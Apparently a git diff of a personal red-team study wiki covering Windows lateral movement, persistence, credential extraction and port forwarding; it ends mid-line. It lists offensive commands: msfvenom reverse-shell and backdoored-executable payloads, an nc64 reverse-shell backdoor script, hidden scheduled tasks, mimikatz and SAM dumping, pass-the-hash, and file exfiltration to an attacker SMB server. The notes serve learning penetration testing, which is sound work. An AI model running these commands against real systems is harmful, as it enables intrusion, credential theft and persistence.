be cracked within seconds. **NT hash** is often called misleadingly an `NTLM` hash. NT hash is the way users' passwords are stored on modern Windows OS. It is the one used to **pass-the-hash**. NTLMv1, NTLMv2 and Kerberos all use the NT hash. -## Kerberos +## 4. Kerberos Kerberos is the authentication protocol. It’s the default authentication protocol on Windows versions above Windows 2000, replacing the NTLM. Security advantages over NTLM: @@ -52,15 +66,15 @@ Security advantages over NTLM: - More secure: No password stored locally or sent over the net. - Supports MFA (Multi Factor Authentication). -### Key Distribution Center (KDC) +### 4.1. Key Distribution Center (KDC) KDC is a service usually installed on the Domain Controller. Its main task is to create Kerberos tickets on the network. -### Ticket Granting Ticket (TGT) +### 4.2. Ticket Granting Ticket (TGT) TGT was designed to avoid asking the user for a password all the time. It works like a authorization token to ask for other services - if you have TGT, you are authorized. User sends a timestamp symetrically encrypted with the **Key** derived from the user's password. KDC has this Key as well so both sides are able to verify each other. It's used in during the pre-authentication process (it might be disabled making Kerberos prone to _Kerberoast_ attack). When the requester's identity is verified, The KDC generates a TGT. The TGT is symmetrically encrypted using the `krbtgt` account's password hash and it includes a **Session Key** (value used to identify single logon session) so the KDC doesn't need to store the Session Key (it can be rocovered by decrypting the TGT). -### Security +### 4.3. Security LDAP application which is exposed on the internet might be password-sprayed good as standard NTLM auth. But that app has its own credentials for LDAP quering DC. They are used to check if our credentials are correct. Now we don't have to hack users AD credentials. We might just hack the app AD credentials - one more vector to attack. App's credentials are most often stored in the plain text on the app's server (config files). diff --git a/_notes/knowledge/windows/host-security.md b/_notes/knowledge/windows/host-security.md index f1c57cf..df817ca 100644 --- a/_notes/knowledge/windows/host-security.md +++ b/_notes/knowledge/windows/host-security.md @@ -2,41 +2,48 @@ title: Host security measures --- -## Antivirus Software (AV) +- [1. Antivirus Software (AV)](#1-antivirus-software-av) + - [1.1. Windows Defender](#11-windows-defender) +- [2. Host-based Firewall](#2-host-based-firewall) +- [3. System Monitor (Sysmon)](#3-system-monitor-sysmon) + - [3.1. Security](#31-security) +- [4. User Account Control (UAC)](#4-user-account-control-uac) + +## 1. Antivirus Software (AV) Antivirus software works in real-time scanning all open and used files in the background. Full system scan is usually performed during the installation of the antivirus. Common malware detection techniques: -* Signature-based detection - AV compares the scanned file with a database of known signatures for possible attacks and malware. -* Heuristic-based detection - most often engages machine learning to decide whether a file is malicious. It scans and statically analyses binary and behavior in real-time. -* Behavior-based detection - AV monitors and examines the execution of binary to find suspicious and uncommon activities (e.g. register editing, process spawning). +- Signature-based detection - AV compares the scanned file with a database of known signatures for possible attacks and malware. +- Heuristic-based detection - most often engages machine learning to decide whether a file is malicious. It scans and statically analyses binary and behavior in real-time. +- Behavior-based detection - AV monitors and examines the execution of binary to find suspicious and uncommon activities (e.g. register editing, process spawning). -### Windows Defender +### 1.1. Windows Defender It is a pre-installed antivirus that runs on users' machine. MS defender runs in: -* Active mode - when is used as primary AV software -* Passive mode - when there is another 3rd party AV software installed +- Active mode - when is used as primary AV software +- Passive mode - when there is another 3rd party AV software installed -## Host-based Firewall +## 2. Host-based Firewall It's main purpose is to control the inbound and outbound traffic that goes through the device's interface. A firewall acts as control access at the network layer. It is capable of allowing and denying network packets. Advanced firewalls also can inspect other ISO/OSI layers, such as application layers (HTTP, etc.) - e.g. they can detect and block SQL injection or reflected XSS payloads. -## System Monitor (Sysmon) +## 3. System Monitor (Sysmon) Sysmon is a service and device driver - one of the MS Sysinternals suites. It's not installed by default. This logging system helps system administrators and blue teamers to detect and investigate malicious activity. Sysmon can log many default and custom events, e.g.: -* Process creation and termination -* Network connections -* File manipulation -* Memory access +- Process creation and termination +- Network connections +- File manipulation +- Memory access [More info about Sysmon.](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon) -### Security +### 3.1. Security For red-teamer it is essential to know whether the Sysmon logging software is installed or not. It is important to avoid causing generating and alerting events. -## User Account Control (UAC) +## 4. User Account Control (UAC) UAC is mechanism introduced in Windows Vista. When a user with the **local** account, which is member of the local _Administrators_ group, logs into a system (majority of users), the current session doesn't run with full administrator permissions. When an operation requires higher-level privileges, the user will be prompted to confirm if they permit the operation to run (in the GUI - yellow popup with 'yes' or 'no' question). Same situation occurs when local account is connected via RPC, SMB or WinRM, etc. The only local account that will get full privileges by default is the default local **Administrator** account itself. AD account (AD), which is a member of the AD _Administrators_ group, will run with a full administrator acces and UAC won't be in effect. diff --git a/_notes/knowledge/windows/lateral-movement.md b/_notes/knowledge/windows/lateral-movement.md index 51f2c24..7fca4ae 100644 --- a/_notes/knowledge/windows/lateral-movement.md +++ b/_notes/knowledge/windows/lateral-movement.md @@ -2,7 +2,29 @@ title: Windows lateral movement notes --- -## Process spawning via PsExec +- [1. Process spawning via PsExec](#1-process-spawning-via-psexec) +- [2. Process spawning via WinRM](#2-process-spawning-via-winrm) + - [2.1. Quick method](#21-quick-method) + - [2.2. Pure PowerShell method](#22-pure-powershell-method) +- [3. Command execution via services](#3-command-execution-via-services) + - [3.1. Service creation](#31-service-creation) + - [3.2. Reverse shell](#32-reverse-shell) +- [4. Command execution via scheduled tasks](#4-command-execution-via-scheduled-tasks) +- [5. Abusing WMI](#5-abusing-wmi) + - [5.1. Establishing WMI session](#51-establishing-wmi-session) + - [5.2. Reverse shell via MSI packages](#52-reverse-shell-via-msi-packages) + - [5.3. Command execution (blind)](#53-command-execution-blind) + - [5.4. Service creation (blind)](#54-service-creation-blind) + - [5.5. Scheduled task creation (blind)](#55-scheduled-task-creation-blind) +- [6. NTLM](#6-ntlm) + - [6.1. Pass-the-Hash](#61-pass-the-hash) +- [7. Kerberos](#7-kerberos) + - [7.1. Pass-the-Ticket](#71-pass-the-ticket) + - [7.2. Pass-the-Key](#72-pass-the-key) + - [7.2.1. Overpass-the-Hash](#721-overpass-the-hash) +- [8. RDP hijacking](#8-rdp-hijacking) + +## 1. Process spawning via PsExec PsExec is Sysinternals tool. It can execute processes remotely on any machine where we can access. PsExec uses SMB protocol (445/TCP). Target account must be a member of _Administrators_ group. PsExec workflow: @@ -15,16 +37,16 @@ PsExec workflow: psexec64.exe \\ -u -p -i "cmd.exe" ``` -## Process spawning via WinRM +## 2. Process spawning via WinRM Main purpose of the WinRM protocol is to run PowerShell commands remotely. It can be used to the lateral movement. Target account must be member of the _Remote Management Users_ group. -### Quick method +### 2.1. Quick method ```powershell winrs.exe -u: -p: -r: "cmd.exe" ``` -### Pure PowerShell method +### 2.2. Pure PowerShell method ```powershell $username = ''; @@ -35,7 +57,7 @@ Enter-PSSession -Computername -Credential $credential Invoke-Command -Computername -Credential $credential -ScriptBlock {whoami} ``` -## Command execution via services +## 3. Command execution via services Windows services can be used to run arbitrary commands because they execute a command when started. Standard tool for creating a service on remote host is the `sc.exe`. It exploits default ability of Windows services to execute arbitrary commands at the start of the service. Target account must be member of the _Administrators_ group. The victim's OS is in charge of starting the service, so the attacker is not be able to look at the command's output - it's blind attack. It tries to connect to the Service Control Manager (SVCCTL) throught RPC in two ways: @@ -64,7 +86,7 @@ sc.exe \\ stop sc.exe \\ delete ``` -### Service creation +### 3.1. Service creation ```powershell $ServiceName = "" @@ -86,10 +108,10 @@ Invoke-CimMethod -InputObject $Service -MethodName StopService Invoke-CimMethod -InputObject $Service -MethodName Delete ``` -### Reverse shell +### 3.2. Reverse shell If we try to run a reverse shell using this method, the reverse shell disconnects immediately after execution. Service executables are different to standard `.exe` files, and therefore non-service executables are killed by the service manager almost immediately. `Msfvenom` supports the `exe-service` format, which will encapsulate any payload inside a fully functional service executable, preventing it from getting killed. -## Command execution via scheduled tasks +## 4. Command execution via scheduled tasks Scheduled tasks can be created remotely. The `schtasks` tool is available in any Windows installation. The victim's OS is in charge of running the scheduled task, so the attacker is not able to look at the command's output - it's blind attack. > NOTE: The victim's OS is in charge of running the scheduled task, you won't be able to look at the command output. @@ -105,12 +127,12 @@ schtasks /s /run /TN schtasks /S /TN /DELETE /F ``` -## Abusing WMI +## 5. Abusing WMI WMI allows administrators to perform standard management tasks that attacker can abuse to perform lateral movement. Abusing WMI an attacker is able to remotely create a process or a scheduled task, run a service, install a MSI package. WMI provides **bunch of ways to perform lateral movement** but first of all WMI session must be established: -### Establishing WMI session +### 5.1. Establishing WMI session ```powershell $Username = ""; @@ -126,7 +148,7 @@ $Opt = New-CimSessionOption -Protocol DCOM $Session = New-Cimsession -ComputerName $TargetHost -Credential $Credential -SessionOption $Opt -ErrorAction Stop ``` -### Reverse shell via MSI packages +### 5.2. Reverse shell via MSI packages ```powershell # Generate MSI reverse shell payload @@ -136,7 +158,7 @@ msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4443 -f ms Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = ""; Options = ""; AllUsers = $false} ``` -### Command execution (blind) +### 5.3. Command execution (blind) ```powershell # Execute a command remotely (blind) @@ -144,7 +166,7 @@ $Command = "" Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $Command} ``` -### Service creation (blind) +### 5.4. Service creation (blind) ```powershell $ServiceName = "" @@ -166,7 +188,7 @@ Invoke-CimMethod -InputObject $Service -MethodName StopService Invoke-CimMethod -InputObject $Service -MethodName Delete ``` -### Scheduled task creation (blind) +### 5.5. Scheduled task creation (blind) ```powershell $Command = "" @@ -182,19 +204,26 @@ Start-ScheduledTask -CimSession $Session -TaskName $TaskName Unregister-ScheduledTask -CimSession $Session -TaskName $TaskName ``` -## NTLM +## 6. NTLM -### Pass-the-Hash -As a result of extracting credentials from a host an attacker might get NT hash. Sometimes it can be too hard to crack the hash but it's possible to authenticate with the hash itself. +### 6.1. Pass-the-Hash +As a result of extracting credentials from a host an attacker might get NT hash. Sometimes it can be too hard to crack the hash but it's possible to authenticate with the hash itself. PtH attacks can work over a large number of technologies, either using Windows-Windows or Linux-Windows tools. + +Here's the great [overview of different technologies](https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/). Sometimes certain technology might not work, then it's worth to check another one. + +> Some of the technologies that might be used to perform PtH: SMB, WinRM, PsExec, WMI, RPC, RDP. ```bash -# Get shell using NT hash +# Get shell via WinRM evil-winrm -i -u -H + +# Get shell via SMB (PsExec) +impacket-psexec -hashes ``` -## Kerberos +## 7. Kerberos -### Pass-the-Ticket +### 7.1. Pass-the-Ticket Sometimes it is possible to extract Kerberos tickets and session keys (both are required) from LSASS memory using e.g. `mimikatz` or `rubeus`. Best tickets to steal are TGTs because they can be used to access any service. TGSs are only good for some specific services. Injecting ticket in our own session doesn't require administrator privileges. ```powershell @@ -208,7 +237,7 @@ klist dir \\\C$ ``` -### Pass-the-Key +### 7.2. Pass-the-Key When a user requests a TGT it must prove its identity to the KDC. The key derived from user's password is used for this purpose (both the KDC and the user posses the key). The key is used to encrypt a timestamp sent by the user during the TGT requesting process. There is a couple possible key formats (DES, RC4, AES-128, AES-256). They depends on the algorithm used to encrypt the timestamp (Windows version and Kerberos configuration). If an attacker obtain any of these keys, he can ask the KDC for a TGT without providing the actual user's password. ```powershell @@ -219,10 +248,10 @@ When a user requests a TGT it must prove its identity to the KDC. The key derive > **NOTE**: Available algorithms: `rc4`, `aes128`, `aes256`. -#### Overpass-the-Hash +#### 7.2.1. Overpass-the-Hash If the RC4 algorithm is used, the RC4 key is equal to the NT hash of a user. It means that if an attacker is able to steal the NT hash, he would be able to request the TGT even if the NTLM authentication is disabled. -## RDP hijacking +## 8. RDP hijacking TBD ```powershell diff --git a/_notes/knowledge/windows/local-persistence.md b/_notes/knowledge/windows/local-persistence.md new file mode 100644 index 0000000..bfc605c --- /dev/null +++ b/_notes/knowledge/windows/local-persistence.md @@ -0,0 +1,204 @@ +--- +title: Windows local-persistence notes +--- + +- [1. Resources](#1-resources) +- [2. Assign privileges to unprivileged user](#2-assign-privileges-to-unprivileged-user) + - [2.1. Group memberships](#21-group-memberships) + - [2.2. Without group memberships](#22-without-group-memberships) + - [2.3. RID Hijacking](#23-rid-hijacking) +- [3. Backdooring files](#3-backdooring-files) + - [3.1. Executables](#31-executables) + - [3.2. Shortcuts](#32-shortcuts) + - [3.3. File associations hijacking](#33-file-associations-hijacking) +- [4. Services](#4-services) + - [4.1. Create a malicious service](#41-create-a-malicious-service) + - [4.2. Modifying existing service](#42-modifying-existing-service) +- [5. Scheduled tasks](#5-scheduled-tasks) +- [6. Logon triggered](#6-logon-triggered) + - [6.1. Startup folder](#61-startup-folder) + - [6.2. Registry (Run \&\& RunOnce)](#62-registry-run--runonce) + - [6.3. Winlogon](#63-winlogon) + - [6.4. Logon script](#64-logon-script) + +## 1. Resources + +- [Payload All The Things - Windows Persistence](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md) + +## 2. Assign privileges to unprivileged user +An attacker, after successfull exploitation, can manipulate unprivileged users, which usually won't be monitored as much as administrators, and grant them administrative privileges in order to make persistence. + +### 2.1. Group memberships +The way to make an unprivileged user access to administrative privileges is to make it part of the _Administrators_ group. This allows an attacker to access the server by using RDP, WinRM or any other remote administration service available. + +```powershell +# Add user to the Administrators group +net localgroup Administrators /add +``` + +This operation might be suspicious but giving RDP or WinRM access only is possible as well: + +```powershell +# WinRM access +net localgroup "Remote Management Users" /add + +# RDP access +net localgroup "Remote Desktop Users" /add +``` + +One of the features implemented by UAC (User Account Control) is LocalAccountTokenFilterPolicy. It strips any local account of its administrative privileges when logging in remotely (e.g. by WinRM). To be able to regain admin privileges, an attacker have to disable LocalAccountTokenFilterPolicy changing the registry key: + +```powershell +reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1 +``` + +### 2.2. Without group memberships +Group adds some special privileges to all its members. However, these privileges can also be added one-by-one without changing group membership (no suspicious activity). For example, `Backup Operators` group assigns the `SeBackupPrivilege` and the `SeRestorePrivilege` privilege, but they can be assigned also separately without joing to the `Backup Operators` group. + +```powershell +# Export current config to a temporary file +secedit /export /cfg config.inf + +# In Notepad add your username at the end of the line with a desired privilege + +# Convert the .inf into a .sdb file +secedit /import /cfg config.inf /db config.sdb + +# Load the new config file into the system +secedit /configure /db config.sdb /cfg config.inf +``` + +The `Backup Operators` group doesn't allow WinRM connection by default, so it must be set manually (GUI is required). + +```powershell +# Show security descriptor panel +Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI + +# Allow 'Full Control (All Operators)' permission to your user +``` + +### 2.3. RID Hijacking +When a user is created, a **Relative ID** (RID) is assigned to them. It's a numeric identifier representing the user across the system. During the login process, the `LSASS` process associates an access token with the RID of the user. The trick is to change the RID of an unprivileged user (RID >= 1000) into the RID of the `Administrator` (RID = 500). + +> **NOTE**: RID is the last part of SID. Example SID (RID = 500): `S-1-5-21-1966530601-3185510712-10604624-500`. + +```powershell +# Get SIDs of all users +wmic useraccount get name,sid +``` + +```powershell +# Run regedit with SYSTEM privileges +PsExec64.exe -i -s regedit +``` + +## 3. Backdooring files +Using the file access, an attacker can plant backdoors that will get executed whenever the user accesses the backdoored executable. The backdoored files should keep working for the user as expected. + +### 3.1. Executables +Using `msfvenom` an attacker can backdoor any executable to work as expected and create a new malicious thread as well. Notice that the executable we want to patch must be downloaded to use `msfvenom` on it. + +```bash +msfvenom -a x64 --platform windows -x -k -p windows/x64/shell_reverse_tcp lhost= lport=4444 -b "\x00" -f exe -o +``` + +### 3.2. Shortcuts +Instead of pointing directly to the expected executable, an attacker can change the shortcut to point to a script that will run a backdoor and then execute the expected software normally. + +Example backdoor PS script: + +```powershell +# backdoor.ps1 +Start-Process -noNewWindow "c:\...\nc64.exe" "-e cmd.exe +C:\Windows\...\.exe +``` + +Then the shortcut should point to: + +```powershell +powershell.exe -WindowStyle hidden +``` + +### 3.3. File associations hijacking +Modifing the Windows registry an attacker can assign a backdoor script to any file extension. The OS will run a backdoor script whenever the user opens a specific file type. + +All extensions are defined in the path `HKLM\Software\Classes\`. In every item there is a `(default)` field with some `data`. The data is called `ProgID` ant it's an identifier of the specific software installed in the OS. Then, the command associate with an ProgID might be found in: `HKLM\Software\Classes\\shell\open\command`. Here, the attacker can replace the original command with the backdoored one - same as with `shortcuts`. + +## 4. Services + +### 4.1. Create a malicious service +An attacker can create a malicious service which will run a reverse-shell every time the machine is starting. + +```bash +# Create a backdoor service executable +msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f exe-service -o +``` + +After transfering the backdoor executable to the victim's machine, create a malicious service: + +```powershell +sc.exe create binPath= "" start= auto +sc.exe start +``` + +### 4.2. Modifying existing service +Any disabled service is a good candidate to be modified without the user noticing it. The generation of a malicious executable is shown in the previous paragraph. + +```powershell +# List of all services +sc.exe query state=all + +# Reconfigure service to run a malicious binary +sc.exe config binPath= "" start= auto obj= "LocalSystem" + +# It might be necessary to start the service +sc.exe start +``` + +## 5. Scheduled tasks +The task scheduler allows for control of when your task will start, allowing you to configure tasks that will activate at specific hours, repeat periodically or trigger when specific system events occur. + +```powershell +# Run the command every single minute (with SYSTEM privileges) +schtasks /create /sc minute /mo 1 /tn /tr "" /ru SYSTEM + +# Check if task created successfully +schtasks /query /tn +``` + +An attacker can make a scheduled task invisible by deleting its _Security Descriptor_ (SD). If an user is not allowed to query a scheduled task, he won't be able to see it anymore. Deleting the SD disallows ALL users to access the scheduled task. + +```powershell +# Run regedit as SYSTEM +PsExec64.exe -s -i regedit +``` + +Remove `SD` item from the `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\` location. + +## 6. Logon triggered + +### 6.1. Startup folder +Each user has a special folder (`C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`) where an attacker can put a executable and it will be run whenever the user logs in. There is also a common folder for all users (`C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`). + +### 6.2. Registry (Run && RunOnce) +There is also a bunch of registry keys which can be used to specify the command that should be run on every logon. + +- `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` +- `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce` +- `HKLM\Software\Microsoft\Windows\CurrentVersion\Run` +- `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce` + +The `HKCU` keys apply to the current user. The `HKLM` keys apply to everyone. The `Run` keys execute on every logon. The `RunOnce` keys will be executed only once. + +To setup a new task, create a new item under one of these paths. The `name` doesn't matter but the `type` must be set to `REG_EXPAND_SZ`. The `data` is the actual command to be executed. + +### 6.3. Winlogon +Winlogon is the Windows component that loads user's profile during the logon process. Under the `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\` path there are two items: + +- `Userinit` - the command to restore user profile preferences +- `Shell` - the system's shell + +An attacker can add a new command (after a comma) to both of these items. Note that removing the default value will break the logon process. These command will be executed during every logon process. + +### 6.4. Logon script +There is also a built-in Windows feature to run a logon script. It is set in the registry as well (`HKCU\Environment`). A new item `UserInitMprLogonScript` of the `REG_EXPAND_SZ` type must be created. Its `data` field is the command to be executed. These thing applies to the current user only. diff --git a/_notes/knowledge/windows/management.md b/_notes/knowledge/windows/management.md index cb261d3..c69aff9 100644 --- a/_notes/knowledge/windows/management.md +++ b/_notes/knowledge/windows/management.md @@ -2,10 +2,19 @@ title: Windows management services --- -## Windows Remote Management (WinRM) +- [1. Windows Remote Management (WinRM)](#1-windows-remote-management-winrm) +- [2. Windows Management Instrumentation (WMI)](#2-windows-management-instrumentation-wmi) +- [3. Common Information Model (CMI)](#3-common-information-model-cmi) + - [3.1. CIM vs WMI](#31-cim-vs-wmi) + - [3.2. Microsoft Deployment Toolkit (MDT)](#32-microsoft-deployment-toolkit-mdt) + - [3.2.1. Preboot Execution Environment (PXE)](#321-preboot-execution-environment-pxe) + - [3.3. System Center Configuration Manager (SCCM)](#33-system-center-configuration-manager-sccm) + - [3.4. Windows Imaging Format (WIM)](#34-windows-imaging-format-wim) + +## 1. Windows Remote Management (WinRM) WinRM is a web-based protocol used to send Powershell commands to Windows hosts remotely. Ports: 5985/TCP (HTTP) and 5986/TCP (HTTPS). Most Windows Server machines have WinRM enabled by default. -## Windows Management Instrumentation (WMI) +## 2. Windows Management Instrumentation (WMI) WMI is Windows implementation of _Web-Based Enterprise Management_ (WBEM) standard for accessing management information across devices. WMI allows administrators to perform standard management tasks. System administrators can use WMI in all Windows-based applications. It's most useful in enterprise applications and administrative scripts. WMI session might be established using one of the following protocols: @@ -13,29 +22,29 @@ WMI session might be established using one of the following protocols: 1. **DCOM** - RPC over IP. 2. **Wsman** - Over WinRM. -## Common Information Model (CMI) +## 3. Common Information Model (CMI) **CIM** provides a common definition of management information for systems, networks, applications, and services, and it allows for vendor extensions. CMI is an extensible, object-oriented data model that contains information about different parts of an enterprise. The CIM is a language-independent programming model. The CIM is a cross-platform standard maintained by the Distributed Management Task Force. CIM defines 3 levels of classes: -* Core - classes that apply to all management areas. -* Common - classes that apply to specific management areas. -* Extended - classes that apply to technology-specific additions to the common classes. +- Core - classes that apply to all management areas. +- Common - classes that apply to specific management areas. +- Extended - classes that apply to technology-specific additions to the common classes. -### CIM vs WMI +### 3.1. CIM vs WMI The best Powershell interface to get CMI objects is the `Get-CimInstace` cmdlet. The `Get-WmiObject` cmdlet (**WMI** is the Microsoft implementation of CIM for the Windows platform) works almost the same but the first one should be used (Microsoft said). The latter might be deprecated someday, it is slower and it has less capabilities. The big drawback to the WMI cmdlets is that they use DCOM to access remote machines. DCOM isn’t firewall friendly, can be blocked by networking equipment, and gives some arcane errors when things go wrong. -### Microsoft Deployment Toolkit (MDT) +### 3.2. Microsoft Deployment Toolkit (MDT) This service automates the deployment of new images of Windows across the organisation. The base image can be maintained in a central location. It allows the IT team to preconfigure and manage boot images. If they need to configure a new machine, they just plug in a network cable and everyting happens automatically. They can pre-install default corpo-software like Office or anti-virus. -#### Preboot Execution Environment (PXE) +#### 3.2.1. Preboot Execution Environment (PXE) It allows new devices which are connected to the network to install the OS image directly over a network. MDT is used to create, manage and host PXE boot images. PXE image might be nice target for: -* Injecting a privilege escalation vector (e.g. local admin account) or any other back-door things -* Password scraping to recover AD credentials used during the installation from PXE boot file - Windows image extracton -> data extraction. +- Injecting a privilege escalation vector (e.g. local admin account) or any other back-door things +- Password scraping to recover AD credentials used during the installation from PXE boot file - Windows image extracton -> data extraction. -### System Center Configuration Manager (SCCM) +### 3.3. System Center Configuration Manager (SCCM) This service can be seen as the big brother to MDT. It manages the software after installation. It allows the IT team to remotely install updates to all software across the organization. -### Windows Imaging Format (WIM) +### 3.4. Windows Imaging Format (WIM) Bootable images of Windows OS. It's a file-based disk image format. diff --git a/_notes/knowledge/windows/port-forwarding.md b/_notes/knowledge/windows/port-forwarding.md index 463df13..f567077 100644 --- a/_notes/knowledge/windows/port-forwarding.md +++ b/_notes/knowledge/windows/port-forwarding.md @@ -2,10 +2,18 @@ title: Windows port forwarding --- -## Port forwarding via SSH +- [1. Port forwarding via SSH](#1-port-forwarding-via-ssh) + - [1.1. Remote port forwarding](#11-remote-port-forwarding) + - [1.2. Local port forwarding](#12-local-port-forwarding) +- [2. Port forwarding with Socat](#2-port-forwarding-with-socat) +- [3. Chisel tool](#3-chisel-tool) + - [3.1. Reverse port-forwarding](#31-reverse-port-forwarding) + - [3.2. Reverse port-forwarding using SOCKS proxy](#32-reverse-port-forwarding-using-socks-proxy) + +## 1. Port forwarding via SSH SSH can be used to perform tunneling. Nowadays Windows is distrubuted with the OpenSSH client included by default. -### Remote port forwarding +### 1.1. Remote port forwarding ```plaintext IP1 IP2 (pivot) IP3 @@ -20,7 +28,7 @@ ssh @ -R :: -N Now the `ip3:port3` is available from ip1 on `user1@localhost:port1`. Port numbers don't need to match. Local port `localhost:9999` can be forwarded to the remote RDP `1.1.1.1:3389` service. -### Local port forwarding +### 1.2. Local port forwarding ```plaintext IP1 IP2 (pivot) IP3 @@ -36,11 +44,11 @@ ssh @ -L *::127.0.0.1: Now the `ip1:port1` is available from `ip3` via `ip2:port2`. In other words, `ip2:port2` points to `ip1:port1`. -## Port forwarding with Socat +## 2. Port forwarding with Socat Socat allows to forward ports in a simpler way than SSH but it have to be transfered to the pivot host. ```plaintext - IP1 IP2 (pivot) IP3 + IP1 IP2 (pivot) IP3 |'''''''| |'''''''| |'''''''| |,,,,,,,| ---------> | port2 | ----------> | port3 | | SSH | |,,,,,,,| @@ -59,10 +67,10 @@ Now the `ip3:port3` is available via `ip2:port2`. To open the pivot's port: netsh advfirewall firewall add rule name="Open Port " dir=in action=allow protocol=TCP localport= ``` -## Chisel tool +## 3. Chisel tool [Chisel](https://github.com/jpillora/chisel) is a swiss-knife tool (Linux and Windows) for any kind of a port forwarding. -### Reverse port-forwarding +### 3.1. Reverse port-forwarding It makes connection from the server to the attacker host. ```bash @@ -75,7 +83,7 @@ chisel client :9001 R::127.0.0.1: # 3. Now open in browser: http://localhost: ``` -### Reverse port-forwarding using SOCKS proxy +### 3.2. Reverse port-forwarding using SOCKS proxy It is useful if we want to access many ports on the victim's machine. ```bash diff --git a/_notes/knowledge/windows/post-exploitation.md b/_notes/knowledge/windows/post-exploitation.md index 6036248..58b92b7 100644 --- a/_notes/knowledge/windows/post-exploitation.md +++ b/_notes/knowledge/windows/post-exploitation.md @@ -2,11 +2,24 @@ title: Windows privilege escalation --- -## Extracting NT hash - -### From local SAM +- [1. Extracting NT hash](#1-extracting-nt-hash) + - [1.1. From local SAM](#11-from-local-sam) + - [1.1.1. Mimiktaz](#111-mimiktaz) + - [1.1.2. SAM dumping and offline hashes extraction](#112-sam-dumping-and-offline-hashes-extraction) + - [1.2. From LSASS memory](#12-from-lsass-memory) +- [2. Extracting Kerberos TGT](#2-extracting-kerberos-tgt) +- [3. Extracting Kerberos user's key](#3-extracting-kerberos-users-key) +- [4. File transfer](#4-file-transfer) + - [4.1. SMB (two ways)](#41-smb-two-ways) + - [4.2. Evil-WinRM (two ways)](#42-evil-winrm-two-ways) + - [4.3. HTTP (attacker -\> victim)](#43-http-attacker---victim) + +## 1. Extracting NT hash + +### 1.1. From local SAM SAM (Security Account Manager) is a database with all the **local user** accounts and passwords. It acts as a database. Passwords, which are stored in the SAM, are hashed. SAM data is used by LSASS to verify user credentials. +#### 1.1.1. Mimiktaz Mimikatz is one of the tools that are able to dump SAM file hashes. ```powershell @@ -26,14 +39,32 @@ CrackMapExec tool is able to remotely dump SAM hashes (via SMB using credentials crackmapexec smb -u -p --sam ``` -### From LSASS memory +#### 1.1.2. SAM dumping and offline hashes extraction +If an attacker has privileges to access any file in the system, then he can export SAM and SYSTEM keys from the Windows registry and perform the extraction of hashes offline. + +```powershell +# Dump SYSTEM hashes +reg save hklm\system + +# Dump SAM hashes +reg save hklm\sam +``` + +Now, transfer files to the attacker machine. + +```bash +# Dump hashes offline +impacket-secretsdump -sam -system LOCAL +``` + +### 1.2. From LSASS memory LSASS (_Local Security Authority Subsystem Service_) is a process running on every Windows OS. It verifies users logging, handles password changes, creates access tokens, writes to the Windows Security Log. In a domain environment LSASS communicates with a Domain Controller. It manages NTLM, Kerberos, NetLogon authentication. It's not possible to use Windows without `lsass.exe` running. An attacker is able to dump the LSASS process memory and retrieve NT hashes. Tips: -* Memory dump must be performed after logging in successfully. Correct data must be provided to LSASS process before extraction. -* Memory dump should be performed from SYSTEM or local Administrator account. -* Not secured LSASS memory dump can be performed using built-in Windows tools (e.g. [dump.exe](https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dump64/)). Then credentials can be extracted offline. +- Memory dump must be performed after logging in successfully. Correct data must be provided to LSASS process before extraction. +- Memory dump should be performed from SYSTEM or local Administrator account. +- Not secured LSASS memory dump can be performed using built-in Windows tools (e.g. [dump.exe](https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dump64/)). Then credentials can be extracted offline. LSASS process might have additional security layer called _LSA protection_. It can be omitted with tools like **Mimikatz**. @@ -41,7 +72,7 @@ LSASS process might have additional security layer called _LSA protection_. It c mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::msv" "exit" ``` -## Extracting Kerberos TGT +## 2. Extracting Kerberos TGT Kerberos tickets can be extracted from LSASS memory (Kerberos harvesting) using `mimikatz` or `rubeus` tool. Most often it requires administrator privileges. ```powershell @@ -55,9 +86,52 @@ Rubeus.exe dump /user: Rubeus.exe dump /service: ``` -## Extracting Kerberos user's key +## 3. Extracting Kerberos user's key It's done to perform Pass-the-Key attack. ```powershell mimikatz.exe "privilege::debug" "sekurlsa::ekeys" ``` + +## 4. File transfer + +[Great post about Windows file transfers for hackers](https://juggernaut-sec.com/windows-file-transfers-for-hackers/). + +### 4.1. SMB (two ways) +Using local SMB server (running on the attacker's OS) an attacker is able transfer files in both ways: + +```bash +# Run SMB server +impacket-smbserver -smb2support -username -password +``` + +```powershell +# Transfer file from the victim to the attacker +copy \\\\ + +# Transfer file from the attacker to the victim +copy \\\\ +``` + +### 4.2. Evil-WinRM (two ways) +The `evil-winrm` tool is able to perform file transfer out of the box if only session is established. + +```bash +> download +> send +``` + +### 4.3. HTTP (attacker -> victim) +Attacker: + +```bash +python -m http.server +``` + +Victim: + +```powershell +wget http://:/file.exe -O file.exe +# Or +Invoke-WebRequest -URI -OutFile +``` diff --git a/_notes/knowledge/windows/privilege-escalation.md b/_notes/knowledge/windows/privilege-escalation.md index 194f876..0a8221c 100644 --- a/_notes/knowledge/windows/privilege-escalation.md +++ b/_notes/knowledge/windows/privilege-escalation.md @@ -2,15 +2,44 @@ title: Windows Server privilege-escalation notes --- -## AD Certificate Services +- [1. Automatic tools](#1-automatic-tools) +- [2. AD Certificate Services](#2-ad-certificate-services) +- [3. Misconfigurations](#3-misconfigurations) + - [3.1. Scheduled tasks](#31-scheduled-tasks) + - [3.2. Services](#32-services) + - [3.2.1. Executable 